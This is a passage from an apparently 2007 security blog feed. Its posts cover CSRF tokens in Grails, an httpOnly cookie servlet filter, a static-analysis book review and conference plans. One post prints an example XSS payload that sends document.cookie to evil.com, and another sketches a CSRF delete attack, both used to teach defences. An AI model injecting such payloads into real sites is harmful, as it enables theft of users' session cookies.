stand on when it comes to security.&lt;br /&gt;&lt;br /&gt;If you don't want to read the article, the gist is that if you're depending on input validation to fix your semantic flaws, you're missing a great deal of the application where the data bounces around and could potentially get re-broke.  And that you potentially end up denying characters that are really legitimate in &lt;span style="font-weight:bold;"&gt;some&lt;/span&gt; context, just not one.&lt;br /&gt;&lt;br /&gt;Now, I know Pravir is running the CTF competition at DEFCON, which makes me wonder why he had this post yesterday.  Either he has a bunch of them queued and set to go, or he's listened to so many speakers say that something is a problem and the way to fix it is to do better input validation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3733615215336195714?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.cigital.com/justiceleague/2007/08/03/stop-saying-input-validation/' title='Finally, somebody sees it my way'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3733615215336195714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/finally-somebody-sees-it-my-way.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3733615215336195714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3733615215336195714'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/finally-somebody-sees-it-my-way.html' title='Finally, somebody sees it my way'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1595326686562104780</id><published>2007-08-02T14:19:00.000Z</published><updated>2007-08-03T14:19:26.064Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><category scheme='http://www.blogger.com/atom/ns#' term='xsrf'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='groovy'/><title type='text'>Adding a Request Token for RemoteField</title><content type='html'>I've been writing a 15 minute expense tracker in Grails, and it was done in 8 minutes, but I've been spending little snippets of time improving it since that initial 8 minutes.  After some of the discussions at BlackHat, I decided I'd try to start making some posts on how to do some things more safely in Grails.&lt;br /&gt;The &lt;a href="http://grails.codehaus.org/Tag+-+remoteField"&gt;RemoteField Tag&lt;/a&gt; in Grails is uber-easy to use, you give it something like the following:&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;g:remoteField name="description"&lt;br /&gt; value="${expense?.description}"&lt;br /&gt; action="updateDescription"&lt;br /&gt; id="${expense?.id}"&lt;br /&gt; update="resultdiv"&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The problem is that with all the default documentation, there are two problems with this - key exposure, so you have to check this user's permission to edit the specified object, and XSRF.  This isn't a problem with the tag, it's a problem with the easy way of doing things in Grails - and this is identical to Rails.  An ordinary CRUD call in [Gr|R]ails makes a URL like http://host/&amp;lt;app&amp;gt;/&amp;lt;controller&amp;gt;/&amp;lt;action&amp;gt;/&amp;lt;id&amp;gt;, and the ID is available as params.id.  And that ID is (under normal scaffolding), the primary key of the domain object in question.  So an attacker just needs to put on their site an iframe that makes the user do something like http://victim/app/epxense/delete/382, and if there's no permission checking, it goes bye-bye.&lt;br /&gt;&lt;br /&gt;Adding a &lt;a href="http://sylvanvonstuppe.blogspot.com/2006/10/level-of-indirection.html"&gt;level of indirection&lt;/a&gt; to keep the PK in the session and then meaningless ID's on the URL won't solve this because an attacker can just make a user delete all their own entries, etc.  So you have to use a token that proves the user visited the page first, and making the user solve a new CAPTCHA for every keyup is silly, right?&lt;br /&gt;So generally, what you see is a hidden form element with a long random token that is also stored on the session.  When the form goes back, the two tokens are compared to (somewhat) guarantee that the user was on the correct "setup" page before coming to the submission form.&lt;br /&gt;&lt;br /&gt;I started down a handful of paths, and the following were less than elegant:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Altering the remoteField itself was less than ideal because you would actually have to add several attributes to the tag to determine how you wanted to deal with the token - do you want to use the same token for all elements on the page?  Do you want to use a different token for each element?  What do you want to name it?  Those decisions have to be carried across to the action that gets called by the remoteField as well.&lt;/li&gt;&lt;li&gt;Actually replacing the id attribute with the session token actually worked, but only for one field on one form.  If you wanted to do this in several places, because you've abstracted the id out, you'd have to make changes to a lot of existing scaffolding to get it right.&lt;/li&gt;&lt;li&gt;One thing I didn't try was keeping the id's from a list() closure in session, keyed by new tokens generated for each one.  This would take quite a bit of work, but would also remove some key exposure at the same time - as long as you don't use the tokens in the session to order by.  This would also allow you to add token checking as part of a beforeInterceptor because then the keys are the token ID's.&lt;/li&gt;&lt;/ul&gt;So I ended up with two methods that ultimately worked pretty well.&lt;br /&gt;&lt;br /&gt;The first method is to use the paramName attribute of the remoteField tag.  If you don't specify the paramName, the value that gets passed back will be with the request attribute &amp;quot;value&amp;quot;.  So the post parameter looks like &amp;quot;value=The+new+value&amp;quot;.  When I first put the tag together, I had no compelling reason to use anything other than &amp;quot;value&amp;quot; as the name, so I used this to hold the token:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;remoteField name=&amp;quot;description&amp;quot; &lt;br /&gt;  value=&amp;quot;${expense?.description}&amp;quot;&lt;br /&gt;  id=&amp;quot;${expense?.id}&amp;quot;&lt;br /&gt;  update=&amp;quot;statusdiv&amp;quot;&lt;br /&gt;  &lt;span style="font-weight: bold;"&gt;paramName=${token}&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then in the controller:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;if (! params[session.token]) {&lt;br /&gt;  render('Bad token')&lt;br /&gt;} else {&lt;br /&gt;  ...&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The second method I tried was to append the token as another request parameter in the id attribute, like so:&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;id=&amp;quot;${expense?.id + '?token=' + token}&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This also works, although it muttles up the tag a bit, but it makes more sense in the controller - just compare &lt;span style="font-family: courier new;"&gt;session.token&lt;/span&gt; to &lt;span style="font-family: courier new;"&gt;params.token&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Unfortunately, it was still up to me to generate the token, remember to put it in the form fields, and to remember to check it on the way back in.  Not perfect, but security always comes at somebody's cost.  In this case, it was mine.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1595326686562104780?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://grails.codehaus.org/Tag+-+remoteField' title='Adding a Request Token for RemoteField'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1595326686562104780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/adding-request-token-for-remotefield.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1595326686562104780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1595326686562104780'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/adding-request-token-for-remotefield.html' title='Adding a Request Token for RemoteField'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6753361460048585795</id><published>2007-07-28T15:21:00.000Z</published><updated>2007-08-20T19:37:34.019Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='blackhat'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Black Hat/Defcon next week</title><content type='html'>I'll be at &lt;a href="http://blackhat.com/"&gt;Black Hat&lt;/a&gt; and &lt;a href="http://www.defcon.org/"&gt;Defcon&lt;/a&gt; next week, and I hope to see you there.  I've already got a pretty full plate of meetups before, during, and after the con.  But if you haven't signed up for the &lt;a href="http://jeremiahgrossman.blogspot.com/2007/06/owasp-wasc-cocktail-party-at-black-hat.html"&gt;OWASP/WASC Cocktail Party&lt;/a&gt;, you might go ahead and try.  I'm sure the registration is closed by now, but I have a couple of colleagues who tried to sign up pretty recently and still managed to get in - so who knows.&lt;br /&gt;&lt;br /&gt;Also, since my paranoia meter goes to 11, I will not be carrying any computing devices with me, save for my mobile phone, so don't expect to see too many posts during that time.  I &lt;span style="font-weight:bold;"&gt;might&lt;/span&gt; post some mobile stuff if I see anything photo worthy, but I'm sure many of the other people attending will have the latest scoop for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6753361460048585795?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6753361460048585795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/black-hatdefcon-next-week.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6753361460048585795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6753361460048585795'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/black-hatdefcon-next-week.html' title='Black Hat/Defcon next week'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2398965015540259050</id><published>2007-07-22T23:02:00.000Z</published><updated>2007-07-23T00:03:26.228Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Book Review - Secure Programming with Static Analysis</title><content type='html'>&lt;a href="http://www.amazon.com/gp/product/0321424778?ie=UTF8&amp;tag=sylvvonstup-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0321424778"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 121px;" src="http://ec1.images-amazon.com/images/I/218bDFd9UsL._AA_SL160_.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;I mentioned a couple of weeks ago Brian Chess and Jacob West's (of &lt;a href="http://fortifysoftware.com/"&gt;Fortify Software&lt;/a&gt;) new book &lt;a href="http://www.amazon.com/gp/product/0321424778?ie=UTF8&amp;tag=sylvvonstup-20&amp;amp;linkCode=as2&amp;camp=1789&amp;amp;creative=9325&amp;creativeASIN=0321424778"&gt;Secure Programming with Static Analysis (Addison-Wesley Software Security Series)&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=sylvvonstup-20&amp;amp;l=as2&amp;o=1&amp;amp;a=0321424778" alt="" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1" /&gt;.  When I got home the day I mentioned it, I was giddy with excitement because I had just received my copy.  I'm kinda' new to book reviews, so please bear with me.&lt;br /&gt;&lt;br /&gt;The best and worst thing about this book is its scope.  It's great because it covers static analysis from soup to nuts, including why an environment should adopt a static analysis program, how static analysis works, the types of flaws that static analysis finds, how to correct flaws found by static analysis, and how to implement static analysis in your environment.  However, that's also the major shortcoming with it.  Because it's so broad, it gets very technical in some points, and if you hand the book to an executive type hoping they read chapters 1, 2 and 3, you'd better hope they don't thumb to chapter 4 by accident or else they'll quickly dismiss the book.  Note to publisher - make chapters 1, 2, and 3 a removable pamphlet.&lt;br /&gt;&lt;br /&gt;Jacob and Brian were fortunate enough to have the foreward written by &lt;a href="http://www.cigital.com/justiceleague/about/#gem"&gt;Gary McGraw&lt;/a&gt;, whom I have a great deal of respect for.  However, his very first illustration is correct only up to a point:&lt;br /&gt;&lt;blockquote&gt;By contrast, on the first day of software engineering class, budding developers are taught that they can build anything that they can dream of.  They usually start with "hello world."&lt;br /&gt;&lt;/blockquote&gt;The point of the paragraph (that engineering classes start with keeping people alive in mind, while development begins with features in mind) is spot-on and well taken.  However, there's a very large segment of people writing code today who did not study software engineering, but started as hobbyists who learned HTML, then decided to pick up a PHP book - chock-full of really bad examples.&lt;br /&gt;&lt;br /&gt;Part One of the book is an overview of static analysis - why you should do it, the different types of static analysis, and some really in-depth coverage of how static analyzers work - obviously they're experts on the matter, and the coverage is very good, but will be mind-numbing to those who don't actually study software.  They make very compelling arguments for not only including static analysis as part of your development lifecycle, but also including it &lt;span style="font-weight: bold;"&gt;early&lt;/span&gt; in the lifecycle, and making sure that &lt;span style="font-weight: bold;"&gt;developers&lt;/span&gt; are performing the analysis as well.&lt;br /&gt;&lt;br /&gt;Part Two covers some of the problems commonly uncovered by static analyzers.  They have many examples of bad code, but thankfully, almost as many examples of specifically how to correct it (after all, I'm about solutions, not problems).  They discuss input validation, buffer/integer overflow, and errors and exceptions.  Brian and Jacob have some very good examples from open source software, and the fixes that were put into place, as well as some really good recommendations for additional libraries to use that will help alleviate some of the common mistakes that lead to buffer overflows.&lt;br /&gt;&lt;br /&gt;Part Three covers environments or types of applications that are currently being written and some of the specific types of flaws that come up in those applications.  They cover web applications, XML/web services, privacy, and privileged programs.  The book does a really good job of covering the Struts Validator, but I see this section as needing a bit of work - while Struts is still probably the most widely used MVC architecture, the Commons Validator can be used in webapps that are not Struts, but there's no mention that you can actually use the validator outside of a Struts application, although using it within Struts makes it much simpler.&lt;br /&gt;&lt;br /&gt;Part Four is Static Analysis in action.  There are exercises to walk you through installing Fortify SCA (there's a demo edition included), performing the analysis scan, analyzing the results, and even writing your own rules.  I've not walked through the examples, but anybody wishing to see what is involved will actually want to step through these processes.&lt;br /&gt;&lt;br /&gt;I know that Brian and Jacob spent a great deal of time on the book.  They bring a wealth of knowledge to something that just doesn't get covered much in books, yet it's a critical part of any mature security or development program.  Static analysis does not cover every vulnerability possible, but the ones it does catch it catches earlier, and with greater depth, than other methods.&lt;br /&gt;&lt;br /&gt;I certainly don't agree with Brian and Jacob on every one of their philosophies.  I've had the pleasure of debating with them on some of those philosophies, and I'm convinced I'm still right.  Fortunately, those issues don't come through in the book, and as a general reference for executives who need to be convinced of the need of static analysis in the lifecycle, to security practitioners who need to know how to write rules for their system (of course, there's a bent to Fortify SCA), to developers down in the trenches who need to understand what their tool is telling them, this book excels.&lt;br /&gt;&lt;br /&gt;Additionally, of the technical books that I've read in first edition, this one is probably one of the best.  I've seen very few grammatical flaws or even awkward sentences, and only a handful of code flaws.  The writing, you can thank the editors for.  The code example excellence, you can thank Brian and Jacob for - and yes, they still write code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2398965015540259050?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.amazon.com/gp/product/0321424778?ie=UTF8&amp;tag=sylvvonstup-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0321424778' title='Book Review - Secure Programming with Static Analysis'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2398965015540259050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/book-review-secure-programming-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2398965015540259050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2398965015540259050'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/book-review-secure-programming-with.html' title='Book Review - Secure Programming with Static Analysis'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8533556554172359230</id><published>2007-07-20T12:25:00.000Z</published><updated>2007-07-20T13:06:48.661Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>httpOnly filter in Groovy</title><content type='html'>I was able to make the &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/07/servlet-filter-for-httponly.html"&gt;httpOnly filter&lt;/a&gt; work in &lt;a href="http://groovy.codehaus.org/"&gt;Groovy&lt;/a&gt; - the idea was really appealing to me.  However, it turns out that it doesn't syntactically save just a whole lot of effort.  While groovy has &lt;a href="http://www.onestepback.org/articles/groovy/ducktyping.html"&gt;duck-typing&lt;/a&gt;, it doesn't get pushed down to Java, so you still have to type everything within the &lt;a href="http://java.sun.com/javaee/5/docs/api/index.html?javax/servlet/Filter.html"&gt;Filter&lt;/a&gt;.  Furthermore, because it has to be recognized when the app loads, not dynamically, you still have the same compile/reload cycle as you do with a filter written in Java.  The only syntactical advantage (that I've seen so far) is being able to short-circuit some of the tests because of "&lt;a href="http://snipplr.com/view/2498/groovy-series-groovy-control-structures%3Cstrike%20class="&gt;the Groovy truth&lt;/a&gt;" and when rendering, you get to use &lt;a href="http://groovy.codehaus.org/Strings"&gt;GStrings&lt;/a&gt; instead of .append over and over.&lt;br /&gt;&lt;br /&gt;So there you have it - it's not that much cleaner to implement the filter in Groovy.  I'll have to check the Grails API to see if they pass you a true &lt;a href="http://java.sun.com/javaee/5/docs/api/index.html?javax/servlet/http/HttpServletResponse.html"&gt;HTTPServletResponse&lt;/a&gt;, or if there's any possibility of wrapping the response that gets injected into controllers to make the cookie re-writing simpler.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8533556554172359230?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/07/servlet-filter-for-httponly.html' title='httpOnly filter in Groovy'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8533556554172359230/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/httponly-filter-in-groovy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8533556554172359230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8533556554172359230'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/httponly-filter-in-groovy.html' title='httpOnly filter in Groovy'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4243344539056235536</id><published>2007-07-19T17:06:00.000Z</published><updated>2007-07-19T17:19:55.703Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Servlet Filter for httpOnly</title><content type='html'>Well, &lt;span style="font-weight: bold;"&gt;zot!&lt;/span&gt;  It turns out that you can &lt;a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/"&gt;still get at the cookies&lt;/a&gt; by XHR's getAllResponseHeaders().&lt;br /&gt;&lt;br /&gt;But since it's still not really that harmful to add it, I've thrown together a servlet filter for adding the attribute when addCookie() is called.  Except for the httpOnly attribute, this is no safer than the existing addCookie - meaning if you had header injection flaws before, they're still there.  Also, I didn't read RFC 2109 really carefully, so this may break version 1 cookies (however, RFC 2109 cookies are still considered experimental, and you wouldn't be using them by accident).&lt;br /&gt;&lt;br /&gt;Now, your container probably has control over the session cookies, and those get added &lt;span style="font-weight: bold;"&gt;after&lt;/span&gt; all the filters run, so you'll still need to consult your app server's documentation to see how to get it to set httpOnly on the session cookie (the one cookie that needs it most).&lt;br /&gt;&lt;br /&gt;Furthermore, this does not check for cookies being added by addHeader() or setHeader().  Whether you want to add similar checking to those or not is purely up to you.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;public class HttpOnlyResponseWrapper extends HttpServletResponseWrapper {&lt;br /&gt; private static SimpleDateFormat cookieFormat = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss zzz");&lt;br /&gt;&lt;br /&gt; public HttpOnlyResponseWrapper(HttpServletResponse res) {&lt;br /&gt;   super(res);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public void addCookie(Cookie cookie) {&lt;br /&gt;   System.out.println("Adding cookie");&lt;br /&gt;   StringBuffer header = new StringBuffer();&lt;br /&gt;   if ((cookie.getName() != null) &amp;&amp;amp; (!cookie.getName().equals(""))) {&lt;br /&gt;     header.append(cookie.getName());&lt;br /&gt;   }&lt;br /&gt;   if (cookie.getValue() != null) {&lt;br /&gt;     // Empty values allowed for deleting cookie&lt;br /&gt;     header.append("=" + cookie.getValue());&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   if (cookie.getVersion() == 1) {&lt;br /&gt;     header.append(";Version=1");&lt;br /&gt;     if (cookie.getComment() != null) {&lt;br /&gt;       header.append(";Comment=\"" + cookie.getComment() + "\"");&lt;br /&gt;     }&lt;br /&gt;     if (cookie.getMaxAge() &gt; -1) {&lt;br /&gt;       header.append(";Max-Age=" + cookie.getMaxAge());&lt;br /&gt;     }&lt;br /&gt;   } else {&lt;br /&gt;     if (cookie.getMaxAge() &gt; -1) {&lt;br /&gt;       Date now = new Date();&lt;br /&gt;       now.setTime(now.getTime() + (1000L * cookie.getMaxAge()));&lt;br /&gt;       header.append(";Expires=" + HttpOnlyResponseWrapper.cookieFormat.format(now));&lt;br /&gt;     }&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   if (cookie.getDomain() != null) {&lt;br /&gt;     header.append(";Domain=" + cookie.getDomain());&lt;br /&gt;   }&lt;br /&gt;   if (cookie.getPath() != null) {&lt;br /&gt;     header.append(";Path=" + cookie.getPath());&lt;br /&gt;   }&lt;br /&gt;   if (cookie.getSecure()) {&lt;br /&gt;     header.append(";Secure");&lt;br /&gt;   }&lt;br /&gt;   header.append(";httpOnly");&lt;br /&gt;   addHeader("Set-Cookie", header.toString());&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public class HttpOnlyFilter implements Filter {&lt;br /&gt; private FilterConfig config;&lt;br /&gt;&lt;br /&gt; @Override&lt;br /&gt; public void destroy() {&lt;br /&gt;   this.config = null;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; @Override&lt;br /&gt; public void doFilter(ServletRequest req, ServletResponse res,&lt;br /&gt;     FilterChain chain) throws IOException, ServletException {&lt;br /&gt;   System.out.println("Got here");&lt;br /&gt;  &lt;br /&gt;   HttpOnlyResponseWrapper hres = new HttpOnlyResponseWrapper((HttpServletResponse)res);&lt;br /&gt;   chain.doFilter(req, hres);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public FilterConfig getFilterConfig() {&lt;br /&gt;   return this.config;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; @Override&lt;br /&gt; public void init(FilterConfig config) throws ServletException {&lt;br /&gt;   this.config = config;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4243344539056235536?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/07/firefox-adds-httponly-attribute-support.html' title='Servlet Filter for httpOnly'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4243344539056235536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/servlet-filter-for-httponly.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4243344539056235536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4243344539056235536'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/servlet-filter-for-httponly.html' title='Servlet Filter for httpOnly'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6487772424016358824</id><published>2007-07-19T14:21:00.000Z</published><updated>2007-07-19T14:38:44.479Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Firefox adds httpOnly attribute support!</title><content type='html'>Thanks to &lt;a href="http://kuza55.blogspot.com/"&gt;Alex&lt;/a&gt; for discovering this for you.  This is a feature that security people have been waiting for for a long, long time.  Only I thought it was going to be much longer before it was available.  I'll go over what httpOnly is, why it took so long, and what you should do about it.&lt;br /&gt;Ordinarily, Javascript has access to the cookies that a user sends to a particular website.  So you can access those cookies on the page itself from javascript via &lt;span style="font-family: courier new;"&gt;document.cookie&lt;/span&gt;.  This is actually rarely necessary, but a handful of sites still use it, so it needs to stay available.&lt;br /&gt;The problem with this is that if a site has a cross-site scripting vulnerability, then an attacker can gather cookies by cross-site scripting.  For example, injecting the following script will send the cookies for a site (including session tokens) to evil.com:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;document.write(&amp;quot;&amp;lt;img src='http://evil.com/foo.png?cookie=&amp;quot; + document.cookie + &amp;quot;'&amp;gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Internet Explorer added support for a cookie attribute in their cookies called httpOnly.  By setting the httpOnly flag on cookies, javascript is not allowed direct access to those cookies with the attribute set.  This is also why all the TRACE XHR vulnerabilities in IE were such a big deal - TRACE will send the cookies, and the response from TRACE is just text - so javascript has access to the cookies, only they're not cookies in the response - they're just text.&lt;br /&gt;Firefox has been very slow in adding support for this.  There was a large discussion about it, and the reason they were slow to add it is because the cookie store would have to be updated to store that information.  But there are so many third-party applications that use access to the Firefox cookie store that they couldn't update the format cleanly.  Now, that didn't prevent you from being able to use it before - the attribute was just ignored in Firefox.&lt;br /&gt;Now that it's finally available, use it.  If you're constructing the &lt;span style="font-family: courier new;"&gt;Set-cookie&lt;/span&gt; headers by hand, you can just add &lt;span style="font-family: courier new;"&gt;;httpOnly&lt;/span&gt; yourself.  If you're not, .NET allows you to set the attribute by configuration, and in some containers can add the attribute to the auto-generated session tokens themselves, or you can use a filter to add it.  This will prevent direct access to session cookies in IE and newer versions of Firefox from accessing cookies directly by javascript, which is one of the more serious attacks available by cross-site scripting (clearly not the only one.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6487772424016358824?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://kuza55.blogspot.com/2007/07/firefox-gets-httponly.html' title='Firefox adds httpOnly attribute support!'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6487772424016358824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/firefox-adds-httponly-attribute-support.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6487772424016358824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6487772424016358824'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/firefox-adds-httponly-attribute-support.html' title='Firefox adds httpOnly attribute support!'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 